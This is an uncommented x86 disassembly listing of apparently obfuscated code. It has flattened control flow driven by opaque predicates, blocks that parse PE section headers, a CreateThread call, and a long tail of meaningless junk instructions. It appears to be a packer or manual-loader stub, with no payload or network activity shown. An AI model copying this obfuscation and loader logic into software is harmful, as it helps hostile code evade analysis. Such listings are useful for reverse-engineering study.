jmp 0x402900
mov eax, 0x8b5754fe
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x1b2e96de
and ecx, 0x477444b3
mov esi, edx
and esi, 0xe4d16921
and edx, 0xb88bbb4c
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0xe4d16920
and esi, 0x1b2e96df
or eax, esi
mov esi, eax
not esi
and eax, 0x87eed304
and esi, 0x78112cfb
or eax, esi
mov esi, eax
xor esi, 0x204200
xor eax, 0x78112cfb
mov edx, eax
and edx, 0xd7de9596
and esi, 0x28216a69
or esi, edx
mov edx, ecx
xor edx, 0x204021
xor ecx, 0xb88bbb4c
or eax, ecx
and ecx, 0xd7de9596
and edx, 0x28216a69
or edx, ecx
not eax
xor edx, esi
mov esi, 0xf97a2082
or eax, edx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x460980], 0xa
setl dl
setge cl
mov al, dl
and ah, dl
and cl, ch
or dl, ch
inc al
or cl, ah
and al, ch
xor cl, 1
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
mov edx, eax
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x83a81343
cmovne ecx, esi
test al, 1
mov esi, 0x83a81343
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x17c]
mov ecx, 0xe61cb27a
cmp eax, dword [ebp - 0x180]
mov eax, 0xa070aa60
cmove eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1020c080
and eax, 0xae853b7c
mov edx, ecx
and edx, 0x415a0403
or esi, edx
xor esi, 0x1020c080
or eax, esi
mov esi, 0x1762951e
mov edx, eax
not edx
and eax, 0xca8da7b3
and edx, 0x3572584c
or eax, edx
xor eax, 0x64089cce
or eax, ecx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x460980], 0xa
setl ah
setge cl
and al, cl
and ah, dl
or cl, dl
or al, ah
mov ah, al
xor ah, cl
xor cl, 1
mov edx, ecx
or cl, al
xor ah, 1
xor cl, 1
xor dl, al
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x6daef7dc
cmovne esi, eax
test cl, cl
mov eax, 0x1762951e
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xc
mov eax, 0xc9e384bf
jmp 0x402900
mov eax, dword [ebp - 0x2c]
mov eax, dword [0x460984]
mov esi, 0xbce18e8c
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xfffffffe
and edx, 0xfffffffe
and eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x460980], 0xa
setge al
setl dl
mov cl, al
or al, ch
or ch, dl
xor dl, ah
xor al, 1
or cl, ah
xor ch, 1
or al, dl
xor cl, 1
xor al, 1
or cl, ch
or al, dl
mov ah, cl
mov edx, eax
xor ah, 1
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0x22e719aa
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x22e719aa
jmp 0x413bff
mov eax, 0xbce18e8c
jmp 0x402900
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
mov dword [ebp - 0x3c], eax
mov eax, 0x8f367c63
jmp 0x402900
mov eax, dword [ebp - 0x24]
mov esi, 0xbaf37dfc
mov edi, 0x5b1d9048
mov dword [eax], 0xa
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x683cd890
mov eax, ecx
and eax, 0x20308000
and edx, ecx
not ecx
and ecx, 0x480c5890
or eax, ecx
xor eax, 0x20308000
or eax, edx
not edx
and edx, 0x97c3276f
and eax, 0x683cd890
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x1c1b538a
and edx, 0xfffffffe
and ecx, 0xe3e4ac75
or eax, ecx
xor eax, 0x1c1b538b
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8cb32be8
and ecx, 0x734cd417
or ecx, edx
xor ecx, 0x734cd417
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne al
cmp dword [0x460980], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x5b1d9048
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
test al, al
cmove ecx, edx
mov eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x1cc]
mov edx, eax
not edx
mov esi, eax
and esi, 0x15000024
mov ecx, edx
and ecx, 0x2d3201
and edx, 0x4118a0a3
or esi, ecx
mov ecx, eax
xor ecx, 0x152d3225
and ecx, eax
xor esi, 0x15000024
and eax, 0xbee75f5c
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xbc770891
mov edx, eax
xor edx, 0xbee75f5c
xor eax, 0x4118a0a3
and esi, 0x4388f76e
or ecx, esi
mov esi, ecx
xor esi, 0xe95a3ab4
xor ecx, 0x16a5c54b
and edx, ecx
and eax, esi
or eax, edx
not eax
or eax, ecx
mov ecx, 0xe52c2dc0
cmp eax, 0xffffffff
mov eax, 0x5280f3e2
cmove eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xc
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x900b7c4c
mov esi, eax
and esi, 0x6ff483b2
or eax, 0x86652094
or edx, esi
and eax, 0x86652095
mov esi, edx
xor esi, 0x100a5c48
xor edx, 0x6640091
and edx, 0x86652095
and esi, 0x799adf6a
or esi, edx
xor eax, esi
mov esi, 0xfb0b52a5
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
xor edx, eax
test edx, eax
setne dl
sete al
cmp dword [0x460980], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor dl, 1
xor cl, 1
xor al, 1
mov ah, dl
or cl, ch
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
and cl, dl
mov ah, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, dl
xor cl, al
xor ah, al
or al, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
test al, 1
mov eax, 0xd5a83fcd
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0xd5a83fcd
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402900
push 0
push 0
push 0
push dword [ebp - 0x158]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, 0x18767d0f
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xd76a1b11
mov ecx, eax
and ecx, 0x2895e4ee
and eax, 0x6a004750
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x2895e4ee
xor esi, 0x4295a3be
xor ecx, 0xd3481011
and esi, edx
and ecx, 0xd3dc9035
or eax, esi
mov esi, eax
not esi
and eax, 0x95ffb8ae
and esi, 0x6a004751
or eax, esi
mov esi, edx
and esi, 0x2c236fca
and edx, 1
or esi, ecx
xor esi, 0xd3dc9034
or edx, esi
mov ecx, edx
not ecx
and edx, 0xf9ba960
and ecx, 0xf064569f
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x5f21f06c
mov esi, ecx
and esi, 0xa0de0f93
or eax, esi
mov esi, edx
xor esi, 0xf01a060
xor edx, 0xf064569f
or ecx, edx
and edx, 0xa0de0f93
and esi, 0x5f21f06c
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
xor eax, 0xc06eb8c5
mov edx, ecx
not edx
and eax, ecx
or ecx, 0x3f91473a
and edx, 0x80643080
mov esi, ecx
and esi, 0x669aca6f
or edx, esi
mov esi, eax
not esi
and eax, 0x99653590
or ecx, esi
and esi, 0x669aca6f
or eax, esi
not ecx
mov esi, 0xfc6f1456
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xaf07566a
and eax, 0x50f8a995
or ecx, eax
xor ecx, 0x6f69eeaf
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
mov ecx, eax
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
or dl, ah
xor cl, 1
or cl, al
mov al, cl
xor cl, 1
and al, ah
xor ah, 1
and cl, ah
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x95d56f6b
cmovne eax, esi
test dl, dl
mov edx, 0x95d56f6b
jmp 0x412b73
mov ecx, dword [0x460984]
mov edi, 0x9f4fdb9a
mov esi, 0xb6cac41a
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xf7961638
and ecx, 0x869e9c6
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0xf7961638
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete al
cmp dword [0x460980], 0xa
mov ecx, eax
setge dl
setl ah
xor dl, al
and cl, dl
not dl
and dl, al
xor al, ah
and al, ah
mov ah, dl
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor cl, al
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x9f4fdb9a
cmovne edi, eax
test dl, 1
cmove edi, esi
mov eax, edi
jmp 0x402900
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0x10]
mov ecx, dword [0x460984]
mov dword [ebp - 0x110], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0xa0452024
mov esi, edx
mov edi, edx
or esi, 0x44908348
and ecx, 0xe4d5a36c
and edi, 0x18004891
and edx, 0x10bca26
or edi, ecx
mov ecx, eax
and esi, 0xe4d5a36c
and ecx, 0x32a1402
and eax, 0xfef435d9
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x5c90cbd8
and esi, 0xa36f3427
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb2472136
and esi, 0x4db8dec9
or ecx, esi
mov esi, ecx
xor esi, 0xb0452112
xor ecx, 0x4db8dec9
mov edx, ecx
and edx, 0x2b2402d
and esi, 0xfd4dbfd2
or esi, edx
mov edx, eax
xor edx, 0xfc4435d0
xor eax, 0x10bca26
or ecx, eax
and eax, 0x2b2402d
and edx, 0xfd4dbfd2
or edx, eax
not ecx
xor edx, esi
or ecx, edx
cmp ecx, 0xffffffff
sete ah
cmp dword [0x460980], 0xa
setge al
xor al, ah
and ah, al
mov dl, ah
mov ch, ah
xor dl, 1
mov cl, dl
or dl, al
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ch, dl
xor cl, al
mov eax, 0xf41cfa7e
xor ch, cl
test dl, dl
mov edx, 0x917ab4db
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xf41cfa7e
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x13c]
mov eax, 0xeb846185
jmp 0x402900
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
mov eax, 0xe93fee4f
jmp 0x402900
mov eax, 0xd59cf3c1
jmp 0x402900
mov eax, dword [ebp - 0x30]
mov eax, 0xec583015
jmp 0x402900
cmp dword [ebp - 0x148], 0
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
setne byte [ebp - 0xa9]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x72ea3bc2
mov esi, ecx
and esi, 0x8d15c43d
mov edi, ecx
or edi, 0x843442
and ecx, 0x82f6ccef
or edx, esi
and edi, 0xaa5fe5b
mov esi, edx
xor edx, 0x40400
xor esi, 0x20180
or edx, 0xa21ca19
and esi, 0x84120180
and edx, 0xaa5fe5b
or esi, edx
mov edx, eax
and edx, 0x71480024
and eax, 0x7d093310
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0x7d093310
mov esi, edx
not esi
and edx, 0xbab9e6e
and esi, 0xf4546191
or edx, esi
mov esi, edx
xor esi, 0x11d0204
xor edx, 0x40801442
and edx, 0xcea0bdeb
and esi, 0x315f4214
or esi, edx
xor esi, 0x315f4214
or eax, esi
mov esi, 0x793dfad5
mov ecx, eax
not ecx
and eax, 0x2d9b7ab8
and ecx, 0xd2648547
or eax, ecx
xor eax, 0x2d9b7ab8
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor cl, 1
xor al, dl
xor ah, 1
xor al, 1
or ah, cl
mov cl, ah
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0x530c5417
cmovne edx, esi
test al, al
mov esi, 0x530c5417
mov eax, edx
cmovne eax, esi
test cl, cl
cmovne eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x42005040
mov esi, eax
and esi, 0x140410
and eax, 0xdb7024da
or ecx, esi
mov esi, edx
xor esi, 0x42145450
xor ecx, 0x42005040
and esi, edx
or ecx, esi
not esi
and esi, 0xbdebabae
and ecx, 0x42145451
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc01f6ed6
and esi, 0x3fe09129
or ecx, esi
mov esi, ecx
xor esi, 0xc01024d2
xor ecx, 0x3fe09129
mov edi, ecx
or ecx, edx
and edx, 0x248fdb25
and edi, 0x248fdb25
and esi, 0xdb7024da
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xf6c04e2
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x460980], 0xa
setl al
setge cl
mov ch, al
and dl, al
or al, ah
and cl, ah
or dl, cl
xor al, 1
xor ch, ah
or al, dl
mov edx, eax
xor dl, ch
xor ch, 1
or ch, al
mov eax, edx
xor al, ch
test dl, dl
mov edx, 0x733416c3
cmovne edx, esi
test ch, ch
not al
cmovne edx, esi
test al, 1
mov eax, 0x733416c3
jmp 0x412b78
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, ecx
not eax
and ecx, 0x29616546
and eax, 0xd69e9ab9
or ecx, eax
mov eax, ecx
xor ecx, 0x69c1a21
xor eax, 0x29616546
mov edx, eax
and ecx, 0x2edd5a23
and eax, 0xd122a5dc
and edx, 0xdfffffff
or eax, ecx
xor eax, 0xf122a5dc
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xbfbc42f0
mov esi, eax
or esi, 0x31906
and ecx, eax
and esi, 0x9af1ba6
and edx, 0xb6104050
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf650e459
or eax, esi
and esi, 0x9af1ba6
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x4043bd0f
and eax, 0xbfbc42f0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd277ef3f
and ecx, 0x2d8810c0
or eax, ecx
xor eax, 0x2d8810c0
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfda5d56e
mov eax, ecx
and eax, 0x88005526
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x75a58048
or eax, esi
mov esi, 0x9db2c20a
xor eax, 0x88005526
or eax, edx
not edx
and edx, 0x25a2a90
and eax, 0xfda5d56f
or eax, edx
mov edx, eax
not edx
and eax, 0xfe5addcf
and edx, 0x1a52230
or eax, edx
xor eax, 0xfe5addcf
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3400a81a
and ecx, 0xcbff57e5
or eax, ecx
xor eax, 0x3400a81a
setne ah
sete ch
cmp dword [0x460980], 0xa
mov cl, ah
setge al
setl dl
mov dh, al
or cl, al
and al, ch
xor dh, ah
and ah, dl
or dl, ch
or al, ah
and cl, dh
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x382e119b
cmovne ecx, esi
test al, 1
mov eax, 0x382e119b
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0xcd307fe0
and ecx, 0x32cf801f
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0xafe8a054
and edx, 0x50175fab
or eax, edx
mov edx, eax
xor edx, 0xb08a054
xor eax, 0x50175fab
mov esi, eax
and esi, 0xb4f61809
and edx, 0x4b09e7f6
or edx, esi
mov esi, ecx
xor esi, 0x2098016
xor ecx, 0xcd307fe0
or eax, ecx
and ecx, 0xb4f61809
and esi, 0x4b09e7f6
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xdeb3f081
mov ecx, eax
not ecx
and eax, 0x725ad60d
and ecx, 0x8da529f2
or eax, ecx
xor eax, 0x725ad60d
setne dl
sete ah
cmp dword [0x460980], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov ah, cl
mov ch, al
xor ah, 1
xor ch, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
and dl, al
xor ah, 1
and ah, ch
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xabe7b940
cmovne eax, esi
test dl, dl
mov edx, 0xabe7b940
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn esi, eax, eax
not eax
and ecx, 0xcf73f4f5
and eax, 0x308c0b0a
or ecx, eax
xor ecx, 0xcf73f4f5
or esi, ecx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xa1bf3274
and esi, 0xbf72337
mov edx, eax
and edx, 0x5e40cd8b
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x5e40cd8a
and edx, 0xa1bf3275
or ecx, edx
mov edx, eax
and edx, 0xf408dcc8
and eax, 1
or edx, esi
mov esi, edx
xor esi, 0xbf72336
xor edx, 0xd0080880
or eax, esi
mov esi, ecx
not esi
and ecx, 0xd03e2ba4
and edx, 0xd03e2ba4
mov edi, esi
or esi, eax
and edi, 0x2fc1d45b
and eax, 0x2fc1d45b
or ecx, edi
or edx, eax
not esi
xor edx, ecx
or esi, edx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xed414223
and eax, 0x12bebddc
or eax, ecx
xor eax, 0x12bebddc
or eax, esi
mov esi, 0xba8cc05
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and al, dl
and ah, cl
or dl, cl
or al, ah
mov ecx, eax
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
not cl
mov edx, 0x4239070b
or cl, ah
xor cl, al
and cl, 1
cmovne edx, esi
test cl, al
mov eax, 0x4239070b
cmove edx, esi
cmovne edx, eax
test cl, cl
cmove edx, eax
mov eax, edx
jmp 0x402900
mov eax, 0xe52fcd9d
jmp 0x402900
cmp byte [ebp - 0xa9], 0
mov eax, 0x2c4ebc1e
mov ecx, 0x21fcf928
cmovne eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
not esi
rcl eax, 0x7b
imul eax
inc eax
bswap esi
dec edx
sub eax, 0x2a
dec edx
add esi, 0x62
inc esi
or edi, 0x70
neg edi
ror edx, 0x82
rcl edi, 0x68
inc edx
neg esi
rcr esi, 0x70
rcr edi, 0x3f
imul edx
mov edi, 0x5c
sbb ebx, 0xc1
bswap ebx
neg edi
dec edi
inc edx
sub edx, 0x4a
neg edi
imul ebx
imul esi
sub edx, 0xd5
rcl esi, 0xa2
add ebx, 0xc1
rcl esi, 0xb6
imul edi
imul ebx
mov edi, 0xfb
neg edi
bswap esi
bswap ebx
inc edi
sbb edi, 0x3b
inc esi
ror ebx, 0xe9
dec esi
inc edi
bswap eax
rol eax, 0x3f
and eax, 0xe0
sub eax, 2
rcr edi, 0x90
neg esi
ror edx, 0x7f
bswap esi
mov ebx, 0x15
mov edi, 0x5e
neg edi
add esi, 0xcf
mov esi, 0x1d
sbb esi, 0xbd
ror esi, 0x56
imul eax
not esi
inc ebx
sub esi, 0xd5
inc ebx
neg edi
bswap esi
inc edx
dec ebx
inc edi
imul eax
mov esi, 0x6b
mov ebx, 0xf5
add ebx, 0x76
mov edx, 0x4e
rol ebx, 0xb0
neg edx
bswap edx
inc eax
bswap esi
dec edx
or eax, 0x9f
neg eax
bswap ebx
sub edi, 0xeb
imul edx
not esi
rcr esi, 0x53
sub edx, 8
inc edi
or eax, 0x75
bswap edx
rcl eax, 0x76
and edi, 0xe5
bswap eax
sbb esi, 0x4f
dec ebx
and eax, 0xad
sbb edx, 0x5d
sbb edi, 0xb9
add eax, 0x4a
not eax
bswap esi
inc eax
mov edx, 0xad
add eax, 0xb5
rol eax, 0xf
imul edi
imul ebx
imul edi
rcl eax, 0
inc ebx
sub eax, 0xdb
add esi, 0xd0
or eax, 0x1b
bswap eax
neg edx
dec eax
and edx, 0xde
dec edx
mov eax, 0
or edx, 0xfe
sbb edx, 0xf9
mov edx, 0xef
rcl eax, 0x93
sub eax, 0x8e
rcl eax, 0x99
or eax, 0xad
rcr eax, 0x2b
and edi, 0x1c
imul edx
rcr edi, 0xdb
rcl edx, 0x25
inc eax
inc ebx
imul ebx
bswap edx
bswap esi
dec eax
inc edx
not esi
bswap eax
inc edi
not edi
rol edx, 0xc
add edi, 0xd5
inc edi
add edx, 0xd4
sub eax, 0xd0
sub edx, 0x60
sbb eax, 0x10
dec edx
add esi, 0x30
ror esi, 0x3b
rol eax, 0x15
inc edi
neg esi
sbb edi, 0x2f
inc ebx
sbb eax, 0xf6
add edi, 0xbd
imul edx
add edi, 0x64
inc edx
dec ebx
bswap esi
sub edi, 0x92
imul esi
dec eax
mov esi, 0x12
sub edx, 0xe4
inc edx
sbb edi, 0x92
imul edi
bswap esi
sbb edx, 0x4f
imul edx
rol edx, 0x67
add ebx, 0xf9
rcr eax, 0xa8
not esi
inc eax
sub esi, 0x22
imul edi
not esi
mov edi, 0xa7
mov ebx, 0x5a
and edx, 0xd
dec edx
rcl esi, 0xcf
rcl ebx, 0x23
not edx
neg ebx
bswap ebx
and esi, 0x76
ror edi, 0x75
and ebx, 0x2d
sbb edx, 0xea
sub eax, 0x68
mov edi, 0xbf
rol eax, 0x95
neg eax
rcr ebx, 0x56
sub ebx, 0xf2
not eax
rcl ebx, 0xb
sbb esi, 0xb4
rol ebx, 0xca
add edi, 0x10
neg eax
inc esi
sub edx, 2
add esi, 0x50
rol eax, 0x32
mov edx, 0x52
sbb edi, 0x59
sbb edx, 0x98
sbb eax, 0xe2
sub ebx, 0xf0
dec eax
mov edx, 0xeb
imul edx
neg ebx
bswap ebx
rol esi, 0x94
rcl edx, 0xf9
sub esi, 0x7b
rol edx, 0x6f
not edx
rcl edi, 0x91
mov eax, 0xbb
add ebx, 0x8b
rcl esi, 0x7f
neg edx
sub eax, 0x1e
bswap edx
neg edx
bswap edx
rcl edx, 0x67
sbb edi, 0x6d
ror ebx, 0xea
sbb ebx, 0x3f
neg edi
rcr ebx, 0xec
sub edx, 0x6f
sbb esi, 0xd4
dec edx
mov edi, 0x9e
neg edx
dec edi
mov ebx, 0x31
imul edx
neg ebx
imul edx
dec eax
ror esi, 0x44
dec edx
sub edx, 0x90
ror edx, 0x6f
rol ebx, 0xc7
dec edi
inc eax
dec eax
inc ebx
not esi
and ebx, 0xae
rcr esi, 0xd8
bswap ebx
and esi, 0x4f
not edi
bswap ebx
neg ebx
rol ebx, 0x79
not edi
not edi
ror edi, 0x73
inc edi
rcr ebx, 0x75
rcr eax, 0xd
sbb edi, 0x8f
and eax, 0xa8
add edx, 0xc4
imul edi
bswap eax
neg eax
or esi, 0xd4
sub edi, 0x46
neg edx
and esi, 0xb5
sbb ebx, 0xbf
ror ebx, 0x68
and eax, 0x3c
imul edi
or eax, 0xb9
mov esi, 0x16
rol edx, 0x17
imul edx
inc ebx
rol edx, 0xdb
inc esi
not edi
and esi, 0x5a
imul edi
bswap ebx
imul eax
not ebx
mov ebx, 0x9e
ror ebx, 0x27
imul ebx
or edx, 0x4b
dec edx
and edi, 0x4e
dec edi
sbb esi, 0xfd
bswap edx
neg edi
inc edx
dec eax
sbb edx, 0x7f
inc eax
dec ebx
ror esi, 0x3c
imul edx
inc esi
imul eax
rcl eax, 0xe
sbb esi, 0x7d
rol edx, 0x4b
rcr edx, 0x71
or esi, 0xa9
bswap edx
sub eax, 0x73
dec edx
not esi
neg ebx
sub ebx, 0x82
rcr ebx, 0x8f
rcl edx, 0xa5
neg edx
imul edx
rcr esi, 0x17
rcl edi, 0xec
neg edx
not ebx
sub ebx, 0x99
add ebx, 0xa0
mov edi, 0xbc
rcl esi, 0x6b
bswap edx
imul esi
rcl eax, 0xe9
neg eax
imul edx
not esi
ror edx, 0xeb
not eax
imul eax
ror edx, 0xa7
neg edx
or edx, 0xff
sub esi, 0x78
rcr esi, 0x2c
rcl ebx, 0xb
bswap edi
neg eax
add edi, 0x2a
mov eax, 0x1c
sbb eax, 0xba
sbb edx, 0xfc
imul edi
rcl esi, 0x62
and eax, 0xb7
bswap esi
neg eax
not eax
dec esi
sbb edx, 0xa9
bswap esi
ror edx, 0x87
not edi
mov ebx, 0x36
ror edi, 0x10
sbb eax, 0x13
rcl esi, 0xc4
add esi, 0x72
sbb eax, 0xbf
inc edx
rcl eax, 0x46
sbb esi, 0xce
dec ebx
not ebx
ror edx, 0xab
sbb edi, 0x66
sbb esi, 0x45
neg edi
inc esi
bswap ebx
rol edi, 8
mov ebx, 0x38
not edx
and edi, 0x94
inc ebx
dec edi
add ebx, 0x4d
ror esi, 0x3f
sbb edx, 0x73
dec edx
bswap eax
and edi, 0x29
not esi
dec edx
imul ebx
dec ebx
not edx
and eax, 0xd3
sbb esi, 0xcb
neg esi
or edi, 0xee
bswap edx
neg edi
rol esi, 0xb9
or esi, 0x98
not eax
mov eax, 0x1c
add ebx, 0xf4
rcl edi, 0x4d
bswap edi
inc edx
not edx
sbb eax, 0x35
add eax, 0x7a
